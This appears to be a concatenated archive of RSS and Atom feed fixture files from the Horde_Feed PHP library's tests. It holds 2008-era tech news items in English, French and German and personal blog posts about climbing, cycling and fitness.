articles.&nbsp; Users can also give direct feedback on the recommended articles with simple “thumbs up” and “thumbs down” controls.&nbsp; All users get a set of recommended recent stories chosen from the seven million new daily articles NewsGator retrieves.&nbsp; Users can also display recommendations within Top News, Entertainment, Sports, Fun Stuff, Science and Technology categories.</FONT></P> <P><FONT face=Arial size=2>“Added to NewsGator Online, SenseArray will recommend stories to a person based on their normal interactions with their favorite NewsGator RSS Reader,” said Ian Clarke, CEO of Uprizer Labs. “In early tests, the system is proving to be extremely accurate in its ability to predict users’ tastes and interests.”</FONT></P> <P><FONT face=Arial size=2>“Collaborative filtering has been extremely successful in helping users find products on services like Amazon.com and Netflix,” said Brian Kellner, vice president of products for NewsGator. “NewsGator is using our huge stream of relevance actions in a truly innovative way with the SenseArray collaborative filter to provide the same kind of recommendation capabilities with RSS articles.”</FONT></P> <P><FONT face=Arial size=2>NewsGator’s award-winning RSS products for PC (FeedDemon), Mac (NetNewsWire), Microsoft Outlook (Inbox), mobile (NewsGator Go!) and online (NewsGator Online) deliver a best-of-breed RSS reading experience that synchronizes through NewsGator’s online platform. All of NewsGator’s client RSS reader products are available free of charge and include free synchronization along with other services. Users can enjoy the great features and performance of all of NewsGator’s Web, desktop and mobile readers for iPhone, Windows Mobile, and BlackBerry (powered by FreeRange), all synchronized to provide the same view of their RSS content no matter when or where they read it.</FONT></P> <P><FONT face=Arial size=2>About NewsGator Technologies, Inc.</FONT></P> <P><FONT face=Arial size=2>NewsGator Technologies is a pioneer in RSS and Enterprise 2.0 technologies. Headquartered in Denver, Colo., NewsGator develops and markets RSS aggregation solutions for individual end users, enterprises and online content providers. Using NewsGator products and solutions, businesses and consumers can subscribe to news, information, podcasts and other relevant content more efficiently and effectively than with traditional channels. With NewsGator, users have access to RSS information via the Web, Microsoft Outlook, mobile devices and both Windows- and Mac-based desktop clients. All NewsGator products synchronize seamlessly, enabling users to read their RSS feeds anywhere, anytime, with any device. For more information, visit </FONT><A href="http://www.newsgator.com"><FONT face=Arial size=2>www.newsgator.com</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>About Uprizer Labs, LLC</FONT></P> <P><FONT face=Arial size=2>Uprizer Labs is a software development company, specializing in machine learning and peer-to-peer technologies. SenseArray, the company’s flagship product, provides extremely accurate predictions through the combination of proprietary algorithms and optional tag-based filtering.&nbsp; For more information, visit </FONT><A href="http://www.sensearray.com"><FONT face=Arial size=2>www.sensearray.com</FONT></A><FONT face=Arial size=2>.</FONT></P> <P><FONT face=Arial size=2>Contact Information<BR>Laura Farrelly<BR>NewsGator<BR>303-552-2046<BR>lauraf(at)newsgator(dot)com</FONT></P> <P><FONT face=Arial size=2>Ian Clarke<BR>Uprizer Labs, LLC<BR>512.422.3588<BR>ian(at)sensearray(dot)com</FONT></P> <P><FONT face=Arial size=2>Jennifer Gazin or Corey Lewis<BR>LaunchSquad<BR>415.625.8555<BR>newsgator(at)launchsquad(dot)com</FONT></P>http://www.newsgator.com/CompanyInfo/Press/Archive.aspx?post=155Thu, 22 May 2008 18:55:28 GMTHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.pclinuxonline.com-backend0000664000175000017500000001307012653701626026567 0ustar janjan PCLinuxOnline http://www.pclinuxonline.com/ Desktop Linux News en-gb This site is powered by e107, which is released under the terms of the GNU GPL License. Admin admin@pclinuxonline.com Mon, 22 Sep 2008 12:50:00 GMT Mon, 22 Sep 2008 12:50:00 GMT http://backend.userland.com/rss e107 website system (http://e107.org) 60 PCLinuxOnline button.png http://www.pclinuxonline.com/ 88 31 If you think all Linux news sites are made the same... think again. Search Search PCLinuxOnline query http://www.pclinuxonline.com/search.php Parsix: Persian distro makes GNOME look good http://www.pclinuxonline.com/comment.php?comment.news.395 Last month the Parsix Linux distribution made its 1.0 release after almost a year of development. Parsix is a GNOME-based distro based on the testing branch of Debian GNU/Linux with elements from Kanotix. It makes an attractive alternative to Ubuntu.<br><br> <a href=&quot;http://www.linux.com/feature/127394&quot;><b>Review</b></a> <br><br> http://www.pclinuxonline.com/comment.php?comment.news.395 Fri, 29 Feb 2008 01:32:00 GMT http://www.pclinuxonline.com/comment.php?comment.news.395 DirectX 9.0c on Linux with Wine http://www.pclinuxonline.com/comment.php?comment.news.392 I have posted a howto about installing DirectX 9.0c into Wine, the diagnostics program (dxdiag.exe) passes each of the test that is included in the standard DirectX install.. after the install only five dlls need to be set as builtin Wine dlls and the rest can be run as native Windows dlls. While this is not 100% DirectX on Linux, it is 95+% and that&#039;s about as close as your going to get... as the five dlls that have to be set to builtin need direct access to hardware. <br><br> <a href=&quot;http://wine-review.blogspot.com/2007/11/directx-90c-on-linux-with-wine.html&quot;><b>Full Story</b></a> <br><br> http://www.pclinuxonline.com/comment.php?comment.news.392 Mon, 26 Nov 2007 03:49:00 GMT http://www.pclinuxonline.com/comment.php?comment.news.392 New Wine help and discussion forum http://www.pclinuxonline.com/comment.php?comment.news.389 Today the new Wine help and discussion forum at wine-forum.org went live, the forums are meant to be a meeting place for anyone interested in Wine usage or development. In the past there there has never been a single forum dedicated just to Wine. In the past the Wine project has used mailing lists, newsgroups and other methods for user discussion leaving many postings about Wine in other forums where Wine was always relegated as a sub-forum. We at Wine-Review hope the forum brings Wine users together into a single meeting place where they can discuss anything relevant to the daily happenings http://www.pclinuxonline.com/comment.php?comment.news.389 Thu, 01 Nov 2007 01:20:00 GMT http://www.pclinuxonline.com/comment.php?comment.news.389 An open letter to Steve Ballmer from Mandriva http://www.pclinuxonline.com/comment.php?comment.news.388 We recently closed a deal with the Nigerian Government. Maybe you heard about it, Steve. They were looking for an affordable hardware+software solution for their schools. The initial batch was 17,000 machines. We had a good answer to their need: the Classmate PC from Intel, with a customized Mandriva Linux solution. We presented the solution to the local government, they liked the machine, they liked our system, they liked what we offered them, the fact that it was open, that we could customize it for their country and so on. <br><br> <a href=&quot;http://blog.mandriva.com/2007/10/31/an-open-letter-to-steve-ballmer/&quot;><b>Read It</b></a> <br><br> http://www.pclinuxonline.com/comment.php?comment.news.388 Thu, 01 Nov 2007 01:20:00 GMT http://www.pclinuxonline.com/comment.php?comment.news.388 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.phpclasses.org-channels.xml0000664000175000017500000000403212653701626027057 0ustar janjan Repository of components and other resources for PHP developers http://www.phpclasses.org/ PHP Classes repository 2002-05-06T00:00:00Z http://www.phpclasses.org/graphics/logo.gif http://www.phpclasses.org/ PHP Classes repository logo Repository of components and other resources for PHP developers Latest components made available http://www.phpclasses.org/browse/latest/latest.xml Latest class entries 2002-05-06T00:00:00Z Latest book reviews released http://www.phpclasses.org/reviews/latest/latest.xml Latest reviews 2002-05-06T00:00:00Z words http://www.phpclasses.org/search.html?go_search=1 Search for: Search in the PHP Classes repository Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.phpindex.com-rss-phpindex_news.rss0000664000175000017500000005044712653701626030427 0ustar janjan PHP Index - La passerelle franaise des technologies PHP: Hypertext Preprocessor http://www.phpindex.com/index.php/ fr 2008-09-19T16:30:21+02:00 daily 1 2008-09-19T16:30:21+02:00 Annonces lors de la Zendcon 2008 http://www.phpindex.com/index.php/2008/09/19/4907-ne-pas-publier 2008-09-19T15:36:54+02:00 fr Carine REIGNAULT Actualits PHP Lors de la quatrime ZendCon PHP confrence, Santa Clara (Californie), Zend a annonc de nombreux partenariats et mises jour de produits soulignant l'importance croissante et la maturit de PHP. Lors de la quatrime ZendCon PHP confrence, Santa Clara (Californie), Zend a annonc de nombreux partenariats et mises jour de produits soulignant l'importance croissante et la maturit de PHP.

      • Zend a annonc une collaboration troite avec adobe pour faciliter le dveloppement d'application Internet riches (RIAs) bases sur PHP et le framework Flex Open Source. Cette collaboration concerne notamment l'intgration du support du format AMF (Action Message Format) dans Zend Framework, ce qui permettra l'intgration de donnes haut dbit entre PHP, ct serveur, et les composants donnes et logique Flex, ct client. De plus, les deux partenaires ont ouvert deux portails, sur leurs sites respectifs, ddis l'utilisation de PHP avec Flex. Voir l'article sur PHPIndex.
      • Zend et la fondation Dojo collaborent au dveloppement d'une solution pour le dveloppement d'applications web bases sur Ajax avec le Zend Framework et le Toolkit Dojo. Dojo est d'ailleurs intgr dans le Zend framework depuis sa version 1.6 sortie en septembre.
      • Zend a annonc la disponibilit immdiate de Zend Core pour i5/OS 2.6, permettant le dploiement d'applications web sur les plateformes i d'IBM. Cette version amliorant la scurit, inclut Zend Framework 1.6 et des extensions facilitant l'accs par PHP aux ressources natives i5.
      • Zend a livr la version 6.1 de Zend Studio, l'IDE permettant aux dveloppeurs de tirer profit des richesses de l'cosystme Eclipse. Cette version ajoute notamment le support de Zend Framework avec intgration de Dojo Toolkit.
      • Zend a annonc le lancement de deux nouvelles formations intitule "Migrez vos applications Web de PHP 4 PHP 5" et "Zend Studio for Eclipse", ainsi qu'un nouvel examen menant la certification "Zend Certified Engineer (ZCE) for Zend Framework", en complment de la certification "ZCE for PHP certification" existante et dj dlivre 3500 personnes.

      On peut noter que, selon Harold Goldberg, la participation croissante de grandes entreprises comme Adobe, IBM et Microsoft souligne l'intrt des solutions PHP.

      ]]>             Symfony 1.1.2 http://www.phpindex.com/index.php/2008/09/19/4925-symfony-112 2008-09-19T15:24:38+02:00 Auteur EXTERNE Actualits PHP La version 1.1.2 de Symfony est disponible au tlchargement depuis hier. Elle corrige un bon nombre de bugs rpertoris dans les versions prcdentes, notamment ceux des structures des formulaires et des lignes de commandes.

      La version 1.1.2 de Symfony est disponible au tlchargement depuis hier. Elle corrige un bon nombre de bugs rpertoris dans les versions prcdentes, notamment ceux des structures des formulaires et des lignes de commandes.

      Parmi les mises jour disponibles dans cette version, on trouve notamment :



      • Correction et mise jour des problmes de cache-clear, fonctionnel dsormais pour les projets multi-application

      • Correction des problmes d'upload des fichiers

      • Correction des fonctions de traitement des donnes des formulaires

      • Correction des comportements des diffrents browsers

      • ...


      Pour plus d'information :


      Proposé par Marie MINASSYAN

      ]]>             IBM : dveloppement d'applications PHP utilisant Picasa Albums Web http://www.phpindex.com/index.php/2008/09/17/4910-ibm-developpement-d-applications-php-utilisant-picasa-albums-web 2008-09-17T10:11:34+02:00 fr Carine REIGNAULT Lu sur le Web Dans un article paru sur le site IBM, Vikram Vaswani explique comment dvelopper une application PHP en utilisant Picasa Albums Web. Dans un article paru sur le site IBM, Vikram Vaswani explique comment dvelopper une application PHP en utilisant Picasa Albums Web.

      L'article commence par aborder les fonctionnalits offertes par Picasa Albums web, avant d'expliquer comment utiliser son API pour manipuler les donnes stockes avec PHP dans une application web. Il explique notamment comment rcuprer les photos et leurs mtadonnes, ajouter, modifier et supprimer des photos, et effectuer des recherches par mots cls dans les donnes des utilisateurs de Picasa.

      ]]>             Zend collabore avec Adobe http://www.phpindex.com/index.php/2008/09/16/4906-zend-collabore-avec-adobe 2008-09-16T16:57:02+02:00 fr Carine REIGNAULT Actualits PHP Lors de la ZendCon PHP conference Santa Clara (Californie), Zend a annonc une collaboration troite avec Adobe, dans le but d'acclrer le dveloppement d'applications internet riches (RIAs) utilisant PHP et le framework Flex Open Source. Lors de la ZendCon PHP conference Santa Clara (Californie), Zend a annonc une collaboration troite avec Adobe, dans le but d'acclrer le dveloppement d'applications internet riches (RIAs) utilisant PHP et le framework Flex Open Source.

      Le point cl de cette collaboration est l'intgration du support du format AMF (Action Message Format) dans le Zend Framework. Cette intgration permettra une meilleure communication entre les composants du Zend framework ct serveur et les composants du framework Flex Open Source1 ct client.

      De plus, Zend et Adobe prvoient d'identifier conjointement les points de liaison entre les deux produits et d'effectuer leur mise en uvre de faon optimiser le workflow des dveloppeurs et de rduire les temps de dveloppement.
      Dans le but de fournir l'interoprabilit de leurs produits et de dfinir les meilleurs pratiques pour leurs clients, les deux socits ont notamment mis en place sur leurs portails respectifs une zone ddie ce projet. Celles-ci comporteront articles, livres blancs, sminaires et cours en ligne, ..., pour les entreprises utilisant PHP, Zend Framework, Zend Platform en association avec Adobe Flex, Adobe Flash Player et Adobe AIR. Ces zones sont d'ores et dj accessibles aux adresse suivantes : http://devzone.zend.com/tag/Flex et http://www.adobe.com/devnet/flex/

      Andi Gutsman, directeur technique et co-fondateur de Zend, estime qu'une collaboration troite avec Adobe permettra aux clients de Zend de se distinguer en dlivrant des produits et des services plus performants et plus fiables.

      Pour plus d'informations, lire l'article correspondant sur le site de Zend


      1 Flex est un framework Open Source permettant de crer et de mettre jour des applications web efficaces se dployant l'identique sur la plupart des navigateurs, postes de travail et systmes d'exploitation, en utilisant le player Flash ou le moteur d'excution AIR d'Abode.

      ]]>             WordPress 2.6.2 http://www.phpindex.com/index.php/2008/09/12/4895-wordpress-262 2008-09-12T10:00:24+02:00 fr Carine REIGNAULT Actualits PHP La version 2.6.2 de Wordpress, corrigeant une faille de scurit, est disponible au tlchargement depuis quelques jours. La version 2.6.2 de Wordpress, corrigeant une faille de scurit, est disponible au tlchargement depuis quelques jours.

      Cette version permet de corriger une faille de scurit permettant de changer facilement le mot de passe de l'administrateur et que cette mise jour est vivement recommande.

      Il est noter que les failles de scurit corriges ont t voque par Stefan Esser, dans les articles suivants :

      Ces problmes sont susceptibles d'tre prsents sur de nombreuses applications PHP/MySQL, pour plus d'informations n'hsitez pas consulter ces deux articles.

      ]]>             Lemug.fr http://www.phpindex.com/index.php/2008/09/11/4894-lemugfr 2008-09-11T17:50:41+02:00 Auteur EXTERNE Actualits PHP Lemug.fr est une nouvelle association franaise regroupant les utilisateurs de MySQL. Lemug.fr est une nouvelle association franaise regroupant les utilisateurs de MySQL.

      Elle organise une rencontre o elle prsentera ses objectifs le 19 septembre de 18h 22h30 La Cantine dans le dixime arrondissement de Paris.

      Deux sujets abords seront :
      - la mise en place de la rplication avec MySQL ;
      - l'utilisation de MySQL chez Yahoo.

      Le tout sera suivi d'un buffet.

      Pour participer cette runion il faut s'inscrire avant le 16 septembre ici. Pour plus d'informations sur Lemug.fr consultez son site.

      Proposé par Marie MINASSYAN

      ]]>             Devshed : Validation de formulaire avec CodeIgniter http://www.phpindex.com/index.php/2008/09/11/4885-devshed-validation-de-formulaire-avec-codeigniter 2008-09-11T11:41:22+02:00 fr Carine REIGNAULT Lu sur le Web Sur le site Developper Shed, Alejandro Gervasio propose deux nouveaux tutoriels sur le framework PHP CodeIgniter pour la validation des formulaires. Sur le site Developper Shed, Alejandro Gervasio propose deux nouveaux tutoriels sur le framework PHP CodeIgniter pour la validation des formulaires.

      Rcemment sont sortis les quatrime et cinquime parties d'une srie de tutoriels consacrs CodeIgniter. La srie comporte dsormais les tutoriels suivants :

      Cette srie devrait thoriquement comprendre neuf parties, affaire suivre si vous souhaitez dbuter avec le framework CodeIgniter.

      ]]>             Gentoo 2008.0 dans Linux Identity Collection ! http://www.phpindex.com/index.php/2008/09/10/4881-gentoo-20080-dans-linux-identity-collection 2008-09-10T13:23:50+02:00 Auteur EXTERNE Actualits PHP

      La distribution Gentoo Linux a dvelopp une rputation d'excellence pour la qualit de sa documentation.
      De l'installation la mise en place d'un serveur MySQL en passant par l'tape de la configuration systme, Gentoo vous propose
      une multitude de guides permettant de devenir vire familier avec votre systme et d'en exploiter toutes les possibilits.


      Pour en savoir href="http://www.linuxidentity.com/fr/index.php?name=News&file=article&sid=43">plus

      Proposé par oxy

      ]]>             Dotclear 2.0.2 http://www.phpindex.com/index.php/2008/09/09/4875-dotclear-202 2008-09-09T14:20:13+02:00 fr Carine REIGNAULT Actualits PHP Une version 2.0.1 de Dotclear est disponible au tlchargement depuis quelques jours. Une version 2.0.1 de Dotclear est disponible au tlchargement depuis quelques jours.

      Parmi les principales amliorations, on trouve par exemple :

      • Installation plus stable, avec choix du login et du mot de passe lors de l'installation.
      • Mise jour du plugin dc1redirect, rendu activable dans la configuration du blog.
      • Amlioration de l'importation de blog wordpress.
      • Amlioration de la recherche : affichage d'un message en cas de recherche sans rsultat, recherche de billets associs un mdia.
      • ...

      Pour plus d'information, vous pouvez consulter l'annonce sur le site Dotclear.

      ]]>             PHP TV emission 2 (septembre 2008) http://www.phpindex.com/index.php/2008/09/08/4872-php-tv-emission-2-septembre-2008 2008-09-08T23:09:42+02:00 Auteur EXTERNE Actualits PHP La Web TV consacre PHP... La Web TV consacre PHP...

      Ldition de septembre 2008 du magazine PHP TV est en ligne. PHP TV est une Web TV consacre la technologie PHP. L'emission numro 2 vient de sortir avec comme sujets :

      * News : requtes prpares, PDO et le wiki de PHP
      * Reportage : le premier barcamp franais sur PHP
      * Dbat : les espaces de noms (namespaces)
      * Interview : Arnaud Limbourg, prsident de lAFUP

      Lmission numro 1 du mois de juin se trouve toujours disponible sur le meme site

      http://www.phptv.fr/septembre-2008

      Proposé par hello

      ]]>             Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.phppatterns.com-feed.xml0000664000175000017500000001047312653701626026367 0ustar janjan phpPatterns http://www.phppatterns.com/ 2005-10-31T08:42:20+01:00 phpPatterns http://www.phppatterns.com/ http://www.phppatterns.com/lib/images/favicon.ico text/html 2005-10-31T08:42:12+01:00 Harry Fuecks (harryf@195.129.34.34) develop:simpletest_mock_functions - SimpleTest add-on to allow mocking of functions, using runkit http://www.phppatterns.com/doku.php/develop/simpletest_mock_functions When dealing with external projects that you either want to re-use parts of or refactor, being able to write unit tests is often a big problem, especially if it&rsquo;s written in procedural code like; function aFunctionIWantToTest&#40;$foo&#41; &#1... text/html 2005-10-25T15:48:41+01:00 Harry Fuecks (harryf@84.72.32.9) reviews:guide_to_php_design_patterns - Review of php|architect's Guide to PHP Design Patterns http://www.phppatterns.com/doku.php/reviews/guide_to_php_design_patterns PHP5 has been available for more than a year and the last six months has seen both IBM and Oracle announcing strategies based around PHP. It&rsquo;s perhaps another sign of PHP&lsquo;s growing maturity that php architect magazine has published their... text/html 2005-10-25T07:25:26+01:00 Harry Fuecks (harryf@195.129.34.34) develop:twisted_aggregator - Add example of Python twisted RSS aggregator with conditional GET support http://www.phppatterns.com/doku.php/develop/twisted_aggregator Following something Christian Stocker brought up in Fetching a looot of feeds with PHP , this is a hack for an Rss aggregator with twisted to add Conditional GET support. from twisted.internet import reactor, protocol, defer from twisted.web import ... text/html 2005-10-16T19:49:27+01:00 Harry Fuecks (harryf@84.72.38.108) start - created http://www.phppatterns.com/doku.php/start (19th Oct 2005) Here&rsquo;s some more detail about what&rsquo;s going on. This site is becoming a wiki. The #1 problem with the old site was the person running it. The plan here is I get out of the way and it becomes a useful repository of desig... Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.pl-forum.de-backend-pro-linux.rdf0000664000175000017500000000712512653701626027764 0ustar janjan Copyright 2001-2008 Pro-Linux Pro-Linux - Wir geben Ihrem Computer das Leben zurck http://www.pro-linux.de/ Pro-Linux News http://www.pro-linux.de/ Pro-Linux News http://www.pro-linux.de/images/pl_black.jpg 50 50 Pro-Linux: Der Audio-Player Amarok Pro-Linux prsentiert Ihnen heute einen Artikel ber den KDE-Audioplayer Amarok, der die vielen Fhigkeiten des Programmes vorstellt. http://www.pro-linux.de/news/2008/13219.html Linuxinfotag Landau 2008 Am 18. Oktober 2008 ldt die Linux-User-Group Landau (LUG LD) zum fnften Linuxinfotag in den Gewlbekeller der Kneipe Kreuz+Quer ein. http://www.pro-linux.de/news/2008/13218.html Kieler Linux und Open Source Tage Am 10. und 11. Oktober ldt die Kieler Linux Initiative zu den Kieler Linux-Tagen ein. http://www.pro-linux.de/news/2008/13217.html Mandriva Mini vorgestellt Mandriva hat eine spezielle Distribution fr den wachsenden Markt der Netbooks entwickelt. http://www.pro-linux.de/news/2008/13216.html OpenSuse 11.1 Beta1 Das OpenSuse-Team hat die erste Betaversion von Version 11.1 der Linux-Distribution Opensuse bereitgestellt, die zahlreiche nderungen bringt. http://www.pro-linux.de/news/2008/13215.html ArchivistaBox erstellt durchsuchbare PDF-Dateien Die Schweizer Firma Archivista verffentlichte eine neue Version des quelloffenen DMS-Systems ArchivistaBox und bietet nun erstmals auch die Erstellung von durchsuchbaren PDF-Dateien an. http://www.pro-linux.de/news/2008/13214.html Software Freedom Day 2008 Morgen, am 20. September 2008, findet der Software Freedom Day statt. http://www.pro-linux.de/news/2008/13213.html Wikipedia als Lexikon in einem Band erschienen Die deutsche Wikipedia hat in Zusammenhang mit dem Wissen Media Verlag ein Lexikon mit 20.000 Stichworten herausgegeben. http://www.pro-linux.de/news/2008/13212.html Neue Beta-Version von agorum core verffentlicht Das freie Dokumentenverwaltungssystem agorum core steht in der Version 6.1.0 Beta bereit, die mit ber 40 Verbesserungen und Neuerungen aufwartet. http://www.pro-linux.de/news/2008/13211.html Sechste Testversion von Ubuntu 8.10 freigegeben Die sechste Testversion des fr Oktober geplanten Ubuntu 8.10 steht unter dem Namen Intrepid Ibex Alpha 6 zum Download bereit. http://www.pro-linux.de/news/2008/13210.html ././@LongLink000 150 0003732 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.preinheimer.com-index.php%2F-feeds-index.rss2Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.preinheimer.com-index.php%2F-feeds-index.0000664000175000017500000007721412653701626031233 0ustar janjan <?paul http://blog.preinheimer.com/ Paul Reinheimer en Serendipity 1.2 - http://www.s9y.org/ Mon, 21 Jul 2008 21:37:01 GMT http://blog.preinheimer.com/templates/default/img/s9y_banner_small.png RSS: <?paul - Paul Reinheimer http://blog.preinheimer.com/ 100 21 Climbing http://blog.preinheimer.com/index.php?/archives/272-Climbing.html http://blog.preinheimer.com/index.php?/archives/272-Climbing.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=272 0 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=272 nospam@example.com (Paul Reinheimer) I climbed recently at Val-David, and had a rather interesting time. The climbs weren't particularly hard, just... different. Most of them were "slab" I think. Where the rock isn't straight up, but actually leans in, which makes it easier, which is cool. The problem was a near complete lack of handholds. <br /> <br /> I think the climbs were really good for me from a technical prospective. I (and apparently most men) use a lot of upper body strength when climbing. Now while I'm actually not that strong, it's not uncommon to see me hanging off one or both hands while my feet do something rather silly that generally works out in the end. Another favourite is pulling with a hand and pushing with my feet to jump up and grab something higher. This works, but it can only get me so far.<br /> <br /> Rock climbing shoes are curiously good at gripping things, putting all your weight on a small rock sticking out less than a centimeter is pretty common. So once I actually started trusting my feet to carry all my weight, things went pretty well. I'd like to try a few slabs at allez-up next time, and restrict myself from using any hand holds while I'm on them. <br /> <br /> <br /> I've also discovered my new favorite formation, the crack. Easier than stairs!<br /> <br /> <br /> <br /> Note to my PHP friends: I had zero posts for a long time, so I've gone with some personal posts to get back in the swing of things, I should get back into PHP posts soon. Mon, 21 Jul 2008 17:37:01 -0400 http://blog.preinheimer.com/index.php?/archives/272-guid.html Cycling http://blog.preinheimer.com/index.php?/archives/271-Cycling.html http://blog.preinheimer.com/index.php?/archives/271-Cycling.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=271 2 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=271 nospam@example.com (Paul Reinheimer) So I've been biking for a while, and I'm really starting to enjoy it. As I mentioned before I aim to rock climb, cycle, or hit the weights at the gym every day so I generally bike about three times a week. I went biking with a friend earlier this week and he contrasted our cycling styles. <br /> <br /> Apparently, I bike like I'm a car, while he cycles like he's a pedestrian (apparently my methodology requires a bit more guts). While when biking down the road I'll stick to the right, but I'm more than willing to take the left lane when I'm turning (there's something empowering about towering over almost every car on the road), even on some of Montreal's busier roads. I also signal my turns, and stop for red lights. My friend on the other hand relentlessly sticks to the right, crosses roads with pedestrian lights rather than the big turn, and runs lights like any true Montreal pedestrian would.<br /> <br /> As a small disclaimer, I also wear a helmet, have a blinking LED tail light, appropriate headlight and all required reflectors. <br /> <br /> On a side note, I found a bigger hill. <a href="http://www.screencast.com/users/preinheimer/folders/Jing/media/8c3c649d-6bfb-449a-bf9f-464205b10ee4">54.8km/h</a>, I could have gone much faster but there's always a street light at the bottom of these things, and the roads here are horrible. I find I actually peak well after the bottom of the hill (after I've passed the street light). Fri, 11 Jul 2008 23:38:58 -0400 http://blog.preinheimer.com/index.php?/archives/271-guid.html Getting in Shape http://blog.preinheimer.com/index.php?/archives/270-Getting-in-Shape.html http://blog.preinheimer.com/index.php?/archives/270-Getting-in-Shape.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=270 6 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=270 nospam@example.com (Paul Reinheimer) So, I've decided this is the summer that I finally get into shape. Apart from not being happy with my current weight, getting out will also allow me to meet more people in Montreal which can only be a good thing. <br /> <br /> I've come up with three key activities, and my goal is to do one every day. I don't always make it, but I've had some good stretches. The activities are: rock climbing, cycling (currently 12k, planning on upping this a bit once I find a better half way point), and weights at the gym. <br /> <br /> Rock Climbing: A friend introduced me to this a few months ago, and apart from a rather difficult first experience I quite enjoy it. There's a couple local climbing gyms, as well as a great group of people who go out doors every week or two. Thanks to some great help and instruction I'm now gaining confidence on 5.7s (<a href="http://www.climber.org/data/decimal.html">Yosemite Decimal System</a>). I usually climb at <a href="http://www.allezup.com/">Allez Up</a> but tried <a href="http://www.horizonroc.com/">Horizen Roc</a> this past weekend. I can't wait until I'm good enough to take a lead climbing class. Also, there's a trapeze class at Horizen Roc <img src="http://blog.preinheimer.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" />. <br /> <br /> Cycling: I've loved riding a bike forever, and it seems to satisfy a need to spend time doing <strong>something</strong> thoughtless while being outdoors that's been left empty since I didn't have a dog to take for a walk. I bought a bike a while back, and have started biking to a distant grocery store for a bottle of water and an apple, then back. I've already had several minor repairs to my bike as a result of Montreal's crappy roads. I average 24Km/h, and my max speed so far is 47Km/h. <br /> <br /> Gym: I joined the YMCA a while back with a friend. The downtown YMCA here has two gyms, the regular one on the third floor (that's huge, and quite busy), and a "technogym" on the second floor that's small, doesn't have the nice big windows, and is usually almost dead. They've got this great program where included in your membership every 6 weeks you can have a meeting (~1hr) with a personal trainer to work on setting up a program, your goals etc. They will also teach you how to use the machines (critical for me). In the techno-gym, it goes one step further where your work out program is encoded into a smart key, all the machines take the key, they then: set the appropriate weight/resistance, #repetitions, #sets, seat height and other adjustments, plus it records your work out. I like this option, as it basically lets me shut my brain down for an hour while I work out. Thanks to the computerized machines, I get handy little reports, so for example: during my first workout I lifted a total of 7,945Kg (that total could be obtained by lifting a 1Kg weight 7954 times, or some more sensible combination of more weight on different muscles), I'm now past 10,500Kg. <br /> <br /> <br /> I'm pretty sure I've got some new muscles where there was none before, though you'd have to be quite familiar with my body in order to notice... So if you've noticed please stop stalking me. <br /> Mon, 30 Jun 2008 22:55:09 -0400 http://blog.preinheimer.com/index.php?/archives/270-guid.html Selling stuff to the pawn shop http://blog.preinheimer.com/index.php?/archives/269-Selling-stuff-to-the-pawn-shop.html http://blog.preinheimer.com/index.php?/archives/269-Selling-stuff-to-the-pawn-shop.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=269 0 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=269 nospam@example.com (Paul Reinheimer) Well, my apartment is a mess. I'm single, and don't have a roommate, so there's been little incentive to clean. However, I'd rather not live in a pig sty forever, so it was time to clean. I like fancy new technology, so I've got a bunch kicking around that I don't use anymore. Parting with junk is tough, but it's way easier if you can get money for it, it seems easier. Plus, you get money. So I took my <a href="http://blog.preinheimer.com/index.php?/archives/239-The-Look-and-Sound-of-Perfect.html">aforementioned</a> (but unplayed for the past year) PSP to the pawn shop to sell it (once I did one last game for memories sake).<br /> <br /> Running a pawn shop has to suck, apart from needing to take down details on everyone they buy from, they need to hold onto everything they buy for 30 days before they can sell it again. So they pay first, then can sell again after a month. This is reverse of a lot of retailers who manage to get products, then pay for them later! Sun, 27 Apr 2008 01:56:25 -0400 http://blog.preinheimer.com/index.php?/archives/269-guid.html Open Web Vancouver http://blog.preinheimer.com/index.php?/archives/268-Open-Web-Vancouver.html http://blog.preinheimer.com/index.php?/archives/268-Open-Web-Vancouver.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=268 0 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=268 nospam@example.com (Paul Reinheimer) I (despite Air Canada's best efforts) have arrived safely in Vancouver in preperation for <a href="http://www.openwebvancouver.ca/">Open Web Vancouver</a>. I'll be doing a new talk on State and History in Ajax. I'll be leveraging the <a href="http://developer.yahoo.com/yui/">YUI</a> throughout the talk. Registration is still open for the conference so if you're in the area come on by, tickets are a steal at only $150!<br /> <br /> I'd also like to thank <a href="http://phparchitect.com">php|architect</a> for sponsoring my attendance once again this year. Fri, 11 Apr 2008 13:40:21 -0400 http://blog.preinheimer.com/index.php?/archives/268-guid.html PDO Week! http://blog.preinheimer.com/index.php?/archives/267-PDO-Week!.html PHP http://blog.preinheimer.com/index.php?/archives/267-PDO-Week!.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=267 4 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=267 nospam@example.com (Paul Reinheimer) So we're half way into PDO week at <a href="http://funcaday.com/" title="PHP Function a Day">funcaday</a>. I've wanted to do theme weeks since the beginning, a few emails prompted me to take a look at PDO for this first theme week, and now that i've gotten i started I'm quite enjoying it. If you've got any suggestions for future weeks let me know.<br /> Wed, 05 Mar 2008 00:25:00 -0500 http://blog.preinheimer.com/index.php?/archives/267-guid.html I miss Zend Studio http://blog.preinheimer.com/index.php?/archives/266-I-miss-Zend-Studio.html PHP http://blog.preinheimer.com/index.php?/archives/266-I-miss-Zend-Studio.html#comments http://blog.preinheimer.com/wfwcomment.php?cid=266 4 http://blog.preinheimer.com/rss.php?version=2.0&type=comments&cid=266 nospam@example.com (Paul Reinheimer) So I dual develop, I 